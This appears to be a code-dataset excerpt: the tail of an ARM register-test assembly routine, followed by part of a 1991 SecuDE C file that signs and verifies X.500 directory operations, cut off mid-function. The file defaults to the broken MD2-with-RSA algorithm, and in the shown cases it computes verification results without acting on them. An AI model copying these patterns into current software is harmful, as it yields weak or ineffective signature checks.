" bne reg2_error_loop \n"
" movs r0, #12 \n"
" cmp r12, r0 \n"
" bne reg2_error_loop \n"
" \n"
" /* Everything passed, increment the loop counter. */ \n"
" push { r1 } \n"
" ldr r0, =ulRegTest2LoopCounter \n"
" ldr r1, [r0] \n"
" add r1, r1, #1 \n"
" str r1, [r0] \n"
" pop { r1 } \n"
" \n"
" /* Start again. */ \n"
" movs r0, #10 \n"
" b reg2_loop \n"
" \n"
"reg2_error_loop: \n"
" /* If this line is hit then there was an error in a core register value. \n"
" The loop ensures the loop counter stops incrementing. */ \n"
" b reg2_error_loop \n"
" nop \n"
);
}
/*-----------------------------------------------------------*/
|
the_stack_data/57237.c | /*
* SecuDE Release 4.1 (GMD)
*/
/********************************************************************
* Copyright (C) 1991, GMD. All rights reserved. *
* *
* *
* NOTICE *
* *
* Acquisition, use, and distribution of this module *
* and related materials are subject to restrictions *
* mentioned in each volume of the documentation. *
* *
********************************************************************/
#ifdef X500
#ifdef STRONG
#include "psap.h"
#include "osisec-stub.h"
#include "af.h"
#include "secude-stub.h"
#include <sys/types.h>
#include <sys/timeb.h>
#include <sys/time.h>
#include "aux_time.h"
#include "x500as/AF-types.h"
#include "quipu/common.h"
#include "quipu/DAS-types.h" /*for specifying the argument type*/
extern struct signature * aux_SECUDEsign2QUIPUsign();
extern Signature * aux_QUIPUsign2SECUDEsign();
extern Certificates * aux_QUIPUcertlist2SECUDEocert();
extern PE AlgId_enc();
extern DN dn_dec();
extern UTCTime * get_date_of_expiry();
static struct certificate_list * certlist = (struct certificate_list * )0;
static AlgId * sig_alg;
/******************************/
/*static struct SecurityServices serv_secude = SECUDESERVICES;*/
struct SecurityServices serv_secude = SECUDESERVICES;
struct SecurityServices * use_serv_secude()
{
return (&serv_secude);
}
/******************************/
struct signature * secudesigned(arg, type)
caddr_t arg;
int type;
{
Token * tok;
struct ds_addentry_arg * ds_addarg;
struct ds_bind_arg * ds_bindarg;
struct ds_compare_arg * ds_comparearg;
struct ds_compare_result * ds_compareres;
struct ds_list_arg * ds_listarg;
struct ds_list_result * ds_listres;
struct ds_modifyentry_arg * ds_modifyentryarg;
struct ds_modifyrdn_arg * ds_modifyrdnarg;
struct ds_read_arg * ds_readarg;
struct ds_read_result * ds_readres;
struct ds_removeentry_arg * ds_removearg;
struct ds_search_arg * ds_searcharg;
struct ds_search_result * ds_searchres;
AddArgument * addarg;
CompareArgument * comparearg;
CompareResult * compareres;
ListArgument * listarg;
ListResult * listres;
ModifyEntryArgument * modifyentryarg;
ModifyRDNArgument * modifyrdnarg;
ReadArgument * readarg;
ReadResult * readres;
RemoveArgument * removearg;
SearchArgument * searcharg;
SearchResult * searchres;
struct signature * ret;
char * proc = "secudesigned";
if(! arg )
return((struct signature * )0);
switch (type){
case _ZTokenToSignDAS:
ds_bindarg = (struct ds_bind_arg * )arg;
tok = (Token * )malloc(sizeof(Token));
if(! tok ){
aux_add_error(EMALLOC, "tok", CNULL, 0, proc);
return((struct signature * )0);
}
tok->tbs = aux_extract_TokenTBS_from_BindArg(ds_bindarg);
if(! tok->tbs )
return((struct signature * )0);
if ((tok->tbs_DERcode = e_TokenTBS(tok->tbs))== NULLOCTETSTRING){
aux_add_error(EENCODE, "e_TokenTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
tok->sig = (Signature * )malloc(sizeof(Signature));
if (! tok->sig){
aux_add_error(EMALLOC, "tok->sig", CNULL, 0, proc);
return((struct signature * )0);
}
tok->sig->signAI = aux_cpy_AlgId(tok->tbs->signatureAI);
if(af_sign(tok->tbs_DERcode, tok->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_Token (stderr, tok);
ret = aux_SECUDEsign2QUIPUsign(tok->sig);
aux_free_Token(&tok);
break;
case _ZAddEntryArgumentDataDAS:
ds_addarg = (struct ds_addentry_arg * )arg;
addarg = (AddArgument * )malloc(sizeof(AddArgument));
if (! addarg) {
aux_add_error(EMALLOC, "addarg", CNULL, 0, proc);
return((struct signature * ) 0);
}
addarg->tbs = aux_extract_AddArgumentTBS_from_AddArg(ds_addarg);
if(! addarg->tbs )
return((struct signature * )0);
if ((addarg->tbs_DERcode = e_AddArgumentTBS(addarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_AddArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
addarg->sig = (Signature * )malloc(sizeof(Signature));
if (! addarg->sig) {
aux_add_error(EMALLOC, "addarg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
addarg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(addarg->tbs_DERcode, addarg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_AddArgument (stderr, addarg);
ret = aux_SECUDEsign2QUIPUsign(addarg->sig);
aux_free_AddArgument(&addarg);
break;
case _ZCompareArgumentDataDAS:
ds_comparearg = (struct ds_compare_arg * )arg;
comparearg = (CompareArgument * )malloc(sizeof(CompareArgument));
if (! comparearg) {
aux_add_error(EMALLOC, "comparearg", CNULL, 0, proc);
return((struct signature * ) 0);
}
comparearg->tbs = aux_extract_CompareArgumentTBS_from_CompareArg(ds_comparearg);
if(! comparearg->tbs )
return((struct signature * )0);
if ((comparearg->tbs_DERcode = e_CompareArgumentTBS(comparearg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_CompareArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
comparearg->sig = (Signature * )malloc(sizeof(Signature));
if (! comparearg->sig) {
aux_add_error(EMALLOC, "comparearg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
comparearg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(comparearg->tbs_DERcode, comparearg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_CompareArgument (stderr, comparearg);
ret = aux_SECUDEsign2QUIPUsign(comparearg->sig);
aux_free_CompareArgument(&comparearg);
break;
case _ZCompareResultDataDAS:
ds_compareres = (struct ds_compare_result * ) arg;
compareres = (CompareResult * )malloc(sizeof(CompareResult));
if (! compareres) {
aux_add_error(EMALLOC, "compareres", CNULL, 0, proc);
return((struct signature * ) 0);
}
compareres->tbs = aux_extract_CompareResultTBS_from_CompareRes(ds_compareres);
if(! compareres->tbs )
return((struct signature * )0);
if ((compareres->tbs_DERcode = e_CompareResultTBS(compareres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_CompareResultTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
compareres->sig = (Signature * )malloc(sizeof(Signature));
if (! compareres->sig) {
aux_add_error(EMALLOC, "compareres->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
compareres->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(compareres->tbs_DERcode, compareres->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_CompareResult (stderr, compareres);
ret = aux_SECUDEsign2QUIPUsign(compareres->sig);
aux_free_CompareResult(&compareres);
break;
case _ZListArgumentDataDAS:
ds_listarg = (struct ds_list_arg * )arg;
listarg = (ListArgument * )malloc(sizeof(ListArgument));
if (! listarg) {
aux_add_error(EMALLOC, "listarg", CNULL, 0, proc);
return((struct signature * ) 0);
}
listarg->tbs = aux_extract_ListArgumentTBS_from_ListArg(ds_listarg);
if(! listarg->tbs )
return((struct signature * )0);
if ((listarg->tbs_DERcode = e_ListArgumentTBS(listarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ListArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
listarg->sig = (Signature * )malloc(sizeof(Signature));
if (!listarg->sig) {
aux_add_error(EMALLOC, "listarg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
listarg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(listarg->tbs_DERcode, listarg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ListArgument (stderr, listarg);
ret = aux_SECUDEsign2QUIPUsign(listarg->sig);
aux_free_ListArgument(&listarg);
break;
case _ZListResultDataDAS:
ds_listres = (struct ds_list_result * ) arg;
listres = (ListResult * )malloc(sizeof(ListResult));
if (! listres) {
aux_add_error(EMALLOC, "listres", CNULL, 0, proc);
return((struct signature * ) 0);
}
listres->tbs = aux_extract_ListResultTBS_from_ListRes(ds_listres);
if(! listres->tbs )
return((struct signature * )0);
if ((listres->tbs_DERcode = e_ListResultTBS(listres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ListResultTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
listres->sig = (Signature * )malloc(sizeof(Signature));
if (!listres->sig) {
aux_add_error(EMALLOC, "listres->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
listres->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(listres->tbs_DERcode, listres->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ListResult (stderr, listres);
ret = aux_SECUDEsign2QUIPUsign(listres->sig);
aux_free_ListResult(&listres);
break;
case _ZModifyEntryArgumentDataDAS:
ds_modifyentryarg = (struct ds_modifyentry_arg * ) arg;
modifyentryarg = (ModifyEntryArgument * )malloc(sizeof(ModifyEntryArgument));
if (! modifyentryarg) {
aux_add_error(EMALLOC, "modifyentryarg", CNULL, 0, proc);
return((struct signature * ) 0);
}
modifyentryarg->tbs = aux_extract_ModifyEntryArgumentTBS_from_ModifyEntryArg(ds_modifyentryarg);
if(! modifyentryarg->tbs )
return((struct signature * )0);
if ((modifyentryarg->tbs_DERcode = e_ModifyEntryArgumentTBS(modifyentryarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ModifyEntryArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
modifyentryarg->sig = (Signature * )malloc(sizeof(Signature));
if (! modifyentryarg->sig) {
aux_add_error(EMALLOC, "modifyentryarg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
modifyentryarg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(modifyentryarg->tbs_DERcode, modifyentryarg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ModifyEntryArgument (stderr, modifyentryarg);
ret = aux_SECUDEsign2QUIPUsign(modifyentryarg->sig);
aux_free_ModifyEntryArgument(&modifyentryarg);
break;
case _ZModifyRDNArgumentDataDAS:
ds_modifyrdnarg = (struct ds_modifyrdn_arg * )arg;
modifyrdnarg = (ModifyRDNArgument * )malloc(sizeof(ModifyRDNArgument));
if (! modifyrdnarg) {
aux_add_error(EMALLOC, "modifyrdnarg", CNULL, 0, proc);
return((struct signature * ) 0);
}
modifyrdnarg->tbs = aux_extract_ModifyRDNArgumentTBS_from_ModifyRDNArg(ds_modifyrdnarg);
if(! modifyrdnarg->tbs )
return((struct signature * )0);
if ((modifyrdnarg->tbs_DERcode = e_ModifyRDNArgumentTBS(modifyrdnarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ModifyRDNArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
modifyrdnarg->sig = (Signature * )malloc(sizeof(Signature));
if (! modifyrdnarg->sig) {
aux_add_error(EMALLOC, "modifyrdnarg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
modifyrdnarg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(modifyrdnarg->tbs_DERcode, modifyrdnarg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ModifyRDNArgument (stderr, modifyrdnarg);
ret = aux_SECUDEsign2QUIPUsign(modifyrdnarg->sig);
aux_free_ModifyRDNArgument(&modifyrdnarg);
break;
case _ZReadArgumentDataDAS:
ds_readarg = (struct ds_read_arg * )arg;
readarg = (ReadArgument * )malloc(sizeof(ReadArgument));
if (! readarg) {
aux_add_error(EMALLOC, "readarg", CNULL, 0, proc);
return((struct signature * ) 0);
}
readarg->tbs = aux_extract_ReadArgumentTBS_from_ReadArg(ds_readarg);
if(! readarg->tbs )
return((struct signature * )0);
if ((readarg->tbs_DERcode = e_ReadArgumentTBS(readarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ReadArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
readarg->sig = (Signature * )malloc(sizeof(Signature));
if (! readarg->sig) {
aux_add_error(EMALLOC, "readarg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
readarg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(readarg->tbs_DERcode, readarg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ReadArgument (stderr, readarg);
ret = aux_SECUDEsign2QUIPUsign(readarg->sig);
aux_free_ReadArgument(&readarg);
break;
case _ZReadResultDataDAS:
ds_readres = (struct ds_read_result * )arg;
readres = (ReadResult * )malloc(sizeof(ReadResult));
if (! readres) {
aux_add_error(EMALLOC, "readres", CNULL, 0, proc);
return((struct signature * ) 0);
}
readres->tbs = aux_extract_ReadResultTBS_from_ReadRes(ds_readres);
if(! readres->tbs )
return((struct signature * )0);
if ((readres->tbs_DERcode = e_ReadResultTBS(readres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ReadResultTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
readres->sig = (Signature * )malloc(sizeof(Signature));
if (! readres->sig) {
aux_add_error(EMALLOC, "readres->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
readres->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(readres->tbs_DERcode, readres->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_ReadResult (stderr, readres);
ret = aux_SECUDEsign2QUIPUsign(readres->sig);
aux_free_ReadResult(&readres);
break;
case _ZRemoveEntryArgumentDataDAS:
ds_removearg = (struct ds_removeentry_arg * )arg;
removearg = (RemoveArgument * )malloc(sizeof(RemoveArgument));
if (! removearg) {
aux_add_error(EMALLOC, "removearg", CNULL, 0, proc);
return((struct signature * ) 0);
}
removearg->tbs = aux_extract_RemoveArgumentTBS_from_RemoveArg(ds_removearg);
if(! removearg->tbs )
return((struct signature * )0);
if ((removearg->tbs_DERcode = e_RemoveArgumentTBS(removearg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_RemoveArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
removearg->sig = (Signature * )malloc(sizeof(Signature));
if (! removearg->sig) {
aux_add_error(EMALLOC, "removearg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
removearg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(removearg->tbs_DERcode, removearg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_RemoveArgument(stderr, removearg);
ret = aux_SECUDEsign2QUIPUsign(removearg->sig);
aux_free_RemoveArgument(&removearg);
break;
case _ZSearchArgumentDataDAS:
ds_searcharg = (struct ds_search_arg * )arg;
searcharg = (SearchArgument * )malloc(sizeof(SearchArgument));
if (! searcharg) {
aux_add_error(EMALLOC, "searcharg", CNULL, 0, proc);
return((struct signature * ) 0);
}
searcharg->tbs = aux_extract_SearchArgumentTBS_from_SearchArg(ds_searcharg);
if(! searcharg->tbs )
return((struct signature * )0);
if ((searcharg->tbs_DERcode = e_SearchArgumentTBS(searcharg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_SearchArgumentTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
searcharg->sig = (Signature * )malloc(sizeof(Signature));
if (! searcharg->sig) {
aux_add_error(EMALLOC, "searcharg->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
searcharg->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(searcharg->tbs_DERcode, searcharg->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_SearchArgument(stderr, searcharg);
ret = aux_SECUDEsign2QUIPUsign(searcharg->sig);
aux_free_SearchArgument(&searcharg);
break;
case _ZSearchResultDataDAS:
ds_searchres = (struct ds_search_result * )arg;
searchres = (SearchResult * )malloc(sizeof(SearchResult));
if (! searchres) {
aux_add_error(EMALLOC, "searchres", CNULL, 0, proc);
return((struct signature * ) 0);
}
searchres->tbs = aux_extract_SearchResultTBS_from_SearchRes(ds_searchres);
if(! searchres->tbs )
return((struct signature * )0);
if ((searchres->tbs_DERcode = e_SearchResultTBS(searchres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_SearchResultTBS failed", CNULL, 0, proc);
return((struct signature * )0);
}
searchres->sig = (Signature * )malloc(sizeof(Signature));
if (! searchres->sig) {
aux_add_error(EMALLOC, "searchres->sig", CNULL, 0, proc);
return((struct signature * ) 0);
}
if(! sig_alg){
sig_alg = af_pse_get_signAI();
if(! sig_alg || aux_ObjId2AlgType(sig_alg->objid) == ASYM_ENC )
sig_alg = aux_cpy_AlgId(md2WithRsa);
}
searchres->sig->signAI = aux_cpy_AlgId(sig_alg);
if(af_sign(searchres->tbs_DERcode, searchres->sig, END) < 0 ){
aux_add_error(ESIGN, "af_sign failed", CNULL, 0, proc);
return((struct signature * )0);
}
if(af_verbose) strong_fprint_SearchResult (stderr, searchres);
ret = aux_SECUDEsign2QUIPUsign(searchres->sig);
aux_free_SearchResult(&searchres);
break;
} /* switch */
return (ret);
}
int secudeverify()
{
}
int secude_ckpath(arg, quipu_cpath, quipu_sig, nameptr, type)
caddr_t arg;
struct certificate_list * quipu_cpath;
struct signature * quipu_sig;
DN * nameptr; /* pointer(pointer) */
int type;
{
Certificates * or_cert;
CertificationPath * SECUDEcpath = (CertificationPath * )0;
Token * tok;
PE pe;
int rc;
struct ds_addentry_arg * ds_addarg;
struct ds_bind_arg * ds_bindarg;
struct ds_compare_arg * ds_comparearg;
struct ds_compare_result * ds_compareres;
struct ds_list_arg * ds_listarg;
struct ds_list_result * ds_listres;
struct ds_modifyentry_arg * ds_modifyentryarg;
struct ds_modifyrdn_arg * ds_modifyrdnarg;
struct ds_read_arg * ds_readarg;
struct ds_read_result * ds_readres;
struct ds_removeentry_arg * ds_removearg;
struct ds_search_arg * ds_searcharg;
struct ds_search_result * ds_searchres;
AddArgument * addarg;
CompareArgument * comparearg;
CompareResult * compareres;
ListArgument * listarg;
ListResult * listres;
ModifyEntryArgument * modifyentryarg;
ModifyRDNArgument * modifyrdnarg;
ReadArgument * readarg;
ReadResult * readres;
RemoveArgument * removearg;
SearchArgument * searcharg;
SearchResult * searchres;
/***/
PS rps;
/***/
char * proc = "secude_ckpath";
/***/
rps = ps_alloc(std_open);
std_setup(rps, stdout);
/***/
if(! arg || ! quipu_cpath || ! quipu_sig )
return(- 1);
switch (type) {
case _ZTokenToSignDAS:
ds_bindarg = (struct ds_bind_arg * )arg;
tok = (Token * )malloc(sizeof(Token));
if(! tok ) {
aux_add_error(EMALLOC, "tok", CNULL, 0, proc);
return(- 1);
}
tok->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! tok->sig )
return(- 1);
tok->tbs = aux_extract_TokenTBS_from_BindArg(ds_bindarg);
if(! tok->tbs )
return(- 1);
if ((tok->tbs_DERcode = e_TokenTBS(tok->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_TokenTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_Token(stderr, tok);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (tok->tbs_DERcode, tok->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_Token(&tok);
break;
case _ZAddEntryArgumentDataDAS:
ds_addarg = (struct ds_addentry_arg * )arg;
addarg = (AddArgument * )malloc(sizeof(AddArgument));
if(! addarg ) {
aux_add_error(EMALLOC, "addarg", CNULL, 0, proc);
return(- 1);
}
addarg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! addarg->sig )
return(- 1);
addarg->tbs = aux_extract_AddArgumentTBS_from_AddArg(ds_addarg);
if(! addarg->tbs )
return(- 1);
if ((addarg->tbs_DERcode = e_AddArgumentTBS(addarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_AddArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_AddArgument(stderr, addarg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (addarg->tbs_DERcode, addarg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_AddArgument(&addarg);
break;
case _ZCompareArgumentDataDAS:
ds_comparearg = (struct ds_compare_arg * )arg;
comparearg = (CompareArgument * )malloc(sizeof(CompareArgument));
if(! comparearg ) {
aux_add_error(EMALLOC, "comparearg", CNULL, 0, proc);
return(- 1);
}
comparearg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! comparearg->sig )
return(- 1);
comparearg->tbs = aux_extract_CompareArgumentTBS_from_CompareArg(ds_comparearg);
if(! comparearg->tbs )
return(- 1);
if ((comparearg->tbs_DERcode = e_CompareArgumentTBS(comparearg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_CompareArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_CompareArgument(stderr, comparearg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (comparearg->tbs_DERcode, comparearg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_CompareArgument(&comparearg);
break;
case _ZCompareResultDataDAS:
ds_compareres = (struct ds_compare_result * )arg;
compareres = (CompareResult * )malloc(sizeof(CompareResult));
if(! compareres ) {
aux_add_error(EMALLOC, "compareres", CNULL, 0, proc);
return(- 1);
}
compareres->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! compareres->sig )
return(- 1);
compareres->tbs = aux_extract_CompareResultTBS_from_CompareRes(ds_compareres);
if(! compareres->tbs )
return(- 1);
if ((compareres->tbs_DERcode = e_CompareResultTBS(compareres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_CompareResultTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_CompareResult(stderr, compareres);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (compareres->tbs_DERcode, compareres->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_CompareResult(&compareres);
break;
case _ZListArgumentDataDAS:
ds_listarg = (struct ds_list_arg * )arg;
listarg = (ListArgument * )malloc(sizeof(ListArgument));
if(! listarg ) {
aux_add_error(EMALLOC, "listarg", CNULL, 0, proc);
return(- 1);
}
listarg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! listarg->sig )
return(- 1);
listarg->tbs = aux_extract_ListArgumentTBS_from_ListArg(ds_listarg);
if(!listarg->tbs )
return(- 1);
if ((listarg->tbs_DERcode = e_ListArgumentTBS(listarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ListArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ListArgument(stderr, listarg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (listarg->tbs_DERcode, listarg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ListArgument(&listarg);
break;
case _ZListResultDataDAS:
ds_listres = (struct ds_list_result * )arg;
listres = (ListResult * )malloc(sizeof(ListResult));
if(!listres ) {
aux_add_error(EMALLOC, "listres", CNULL, 0, proc);
return(- 1);
}
listres->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! listres->sig )
return(- 1);
listres->tbs = aux_extract_ListResultTBS_from_ListRes(ds_listres);
if(! listres->tbs )
return(- 1);
if ((listres->tbs_DERcode = e_ListResultTBS(listres->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ListResultTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ListResult(stderr, listres);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (listres->tbs_DERcode, listres->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ListResult(&listres);
break;
case _ZModifyEntryArgumentDataDAS:
ds_modifyentryarg = (struct ds_modifyentry_arg * )arg;
modifyentryarg = (ModifyEntryArgument * )malloc(sizeof(ModifyEntryArgument));
if(! modifyentryarg ) {
aux_add_error(EMALLOC, "modifyentryarg", CNULL, 0, proc);
return(- 1);
}
modifyentryarg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! modifyentryarg->sig )
return(- 1);
modifyentryarg->tbs = aux_extract_ModifyEntryArgumentTBS_from_ModifyEntryArg(ds_modifyentryarg);
if(! modifyentryarg->tbs )
return(- 1);
if ((modifyentryarg->tbs_DERcode = e_ModifyEntryArgumentTBS(modifyentryarg->tbs)) == NULLOCTETSTRING) {
aux_add_error(EENCODE, "e_ModifyEntryArgumentTBS failed", CNULL, 0, proc);
return(- 1);
}
if(af_verbose) strong_fprint_ModifyEntryArgument(stderr, modifyentryarg);
or_cert = aux_QUIPUcertlist2SECUDEocert(quipu_cpath);
if(! or_cert )
return(- 1);
rc = af_verify (modifyentryarg->tbs_DERcode, modifyentryarg->sig, END, or_cert, CNULL, (PKRoot * )0);
if(af_verbose) aux_fprint_VerificationResult(stderr, verifresult);
aux_free_VerificationResult(&verifresult);
aux_free_ModifyEntryArgument(&modifyentryarg);
break;
case _ZModifyRDNArgumentDataDAS:
ds_modifyrdnarg = (struct ds_modifyrdn_arg * )arg;
modifyrdnarg = (ModifyRDNArgument * )malloc(sizeof(ModifyRDNArgument));
if(! modifyrdnarg ) {
aux_add_error(EMALLOC, "modifyrdnarg", CNULL, 0, proc);
return(- 1);
}
modifyrdnarg->sig = aux_QUIPUsign2SECUDEsign(quipu_sig);
if(! modifyrdnarg->sig )
return(- 1);
